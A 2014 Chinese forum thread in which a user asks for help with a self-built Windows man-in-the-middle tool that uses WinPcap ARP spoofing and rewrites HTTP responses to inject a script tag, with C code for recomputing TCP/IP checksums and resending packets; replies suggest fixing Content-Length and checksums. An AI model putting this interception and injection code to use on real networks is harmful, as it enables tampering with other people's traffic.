MITM中间人攻击数据包修改的问题请教.

dibotiger 2014-10-01 03:26:39
背景介绍:

1. 在Windows下利用WINPCAP驱动进行ARPSPOOF.
2. 关闭Windows系统的转发特性, 在程序内置一个转发机制.
3. 对某些特定的数据进行中间人的修改后再转发, 以达到特定的攻击目的.

在LINUX下, 用Ettercap和一堆现成的插件都能实现我的需求.
但我希望在Windows下自己实现一个MITM模块.起码搞清楚其中间人修改转发数据报文的关键所在.
LINUX可参考背景介绍: http://www.2cto.com/Article/201305/208757.html


目前, 1和2都顺利实现了, 也就是实现了由程序进行数据报文的MAC地址的IP头的重新校验后再转发.


现在我尝试第3个需求:
我希望能在HTTP的HTML报文里,插入一段代码"<script type="text/javascript">alert("aaaaaaaaa");</script>"来实现上面的注入测试, 问题来了. 我发现不论我怎么修改调整代码, 都无法达到预期. 我不知道我的那一步出错了. 特来请教大牛.

付上部分关键代码如下:


if(iphdr.proto==IPPROTO_TCP)
{
TCP_HEADER tcphdr;
PSD_HEADER psdhdr;
int iSourcePort,iDestPort;
int TcpHeaderLen,Origdatalen;

tcphdr=*(TCP_HEADER *)(data+14+iphdrlen);
iSourcePort = ntohs(tcphdr.th_sport);
iDestPort = ntohs(tcphdr.th_dport);

TcpHeaderLen= tcphdr.th_lenres>>4;
TcpHeaderLen*=sizeof(unsigned long);
Origdatalen=datalen-14-iphdrlen-TcpHeaderLen;

if(iSourcePort==80&&Origdatalen&&TcpHeaderLen)
{
memcpy(tcpdatabuff,data+14+iphdrlen+TcpHeaderLen,Origdatalen);

if(char *p=strstr(tcpdatabuff,"</head>"))
{
*p='\0';
sprintf(mitmbuff,"%s%s<%s",tcpdatabuff,m_tostr,p+1);

psdhdr.saddr=iphdr.sourceIP;
psdhdr.daddr=iphdr.destIP;
psdhdr.mbz=0;
psdhdr.ptcl=IPPROTO_TCP;
psdhdr.tcpl=htons(TcpHeaderLen+Origdatalen+(m_tolen-m_fromlen));

tcphdr.th_sum=0;
memset(returnbuff,0,sizeof(returnbuff));
memcpy(returnbuff,&psdhdr,sizeof(PSD));
memcpy(returnbuff+sizeof(PSD),&tcphdr,TcpHeaderLen);
memcpy(returnbuff+sizeof(PSD)+TcpHeaderLen,mitmbuff,Origdatalen+(m_tolen-m_fromlen));
tcphdr.th_sum=CheckSum((USHORT *)returnbuff,sizeof(PSD)+TcpHeaderLen+Origdatalen+(m_tolen-m_fromlen));

memset(returnbuff,0,sizeof(returnbuff));
memcpy(returnbuff,&tcphdr,TcpHeaderLen);
memcpy(returnbuff+TcpHeaderLen,mitmbuff,Origdatalen+(m_tolen-m_fromlen));

iphdr.checksum=0;
iphdr.total_len=htons(datalen+(m_tolen-m_fromlen)-14);
iphdr.checksum=CheckSum((USHORT *)&iphdr,sizeof(IP_HEADER));

memset(sendbuff,0,sizeof(sendbuff));
memcpy(sendbuff,ðr,sizeof(ET_HEADDER));
memcpy(sendbuff+sizeof(ET_HEADDER),&iphdr,iphdrlen);
memcpy(sendbuff+sizeof(ET_HEADDER)+iphdrlen,returnbuff,TcpHeaderLen+Origdatalen+(m_tolen-m_fromlen));

datalen=datalen+(m_tolen-m_fromlen);
}
}
}

pcap_sendpacket(SniffOpenhandle, (UCHAR *)sendbuff, datalen);


其中:
m_tostr就是我要在HTML报文里插入的那句"<script type="text/javascript">alert("aaaaaaaaa");</script>"
m_tolen是这串字符的长度.
m_fromstr这里为"",
m_fromlen的长度为0.

目前我能想到的就是MTU的问题, 是不是需要对一个超过MTU的报文进行两次发送?

以上就是思路过程和部分关键代码. 有经验的大牛们请赐教.

...全文
517 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
oyljerry 2014-10-10
  • 打赏
  • 举报
回复
检查数据长度,同时注意要修改HTTP header的content-length等,不然接收的时候可能不能收到添加的
Yofoo 2014-10-07
  • 打赏
  • 举报
回复
看是什么问题, 目标机器收不到数据, 还是收到的数据没修改过? 可以用工具检查下你的包是否正确, 如 th_sum 等 可以试试测试的http包不要太长. 先不插入数据, 只修改数据

18,356

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 网络编程
c++c语言开发语言 技术论坛(原bbs)
社区管理员
  • 网络编程
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧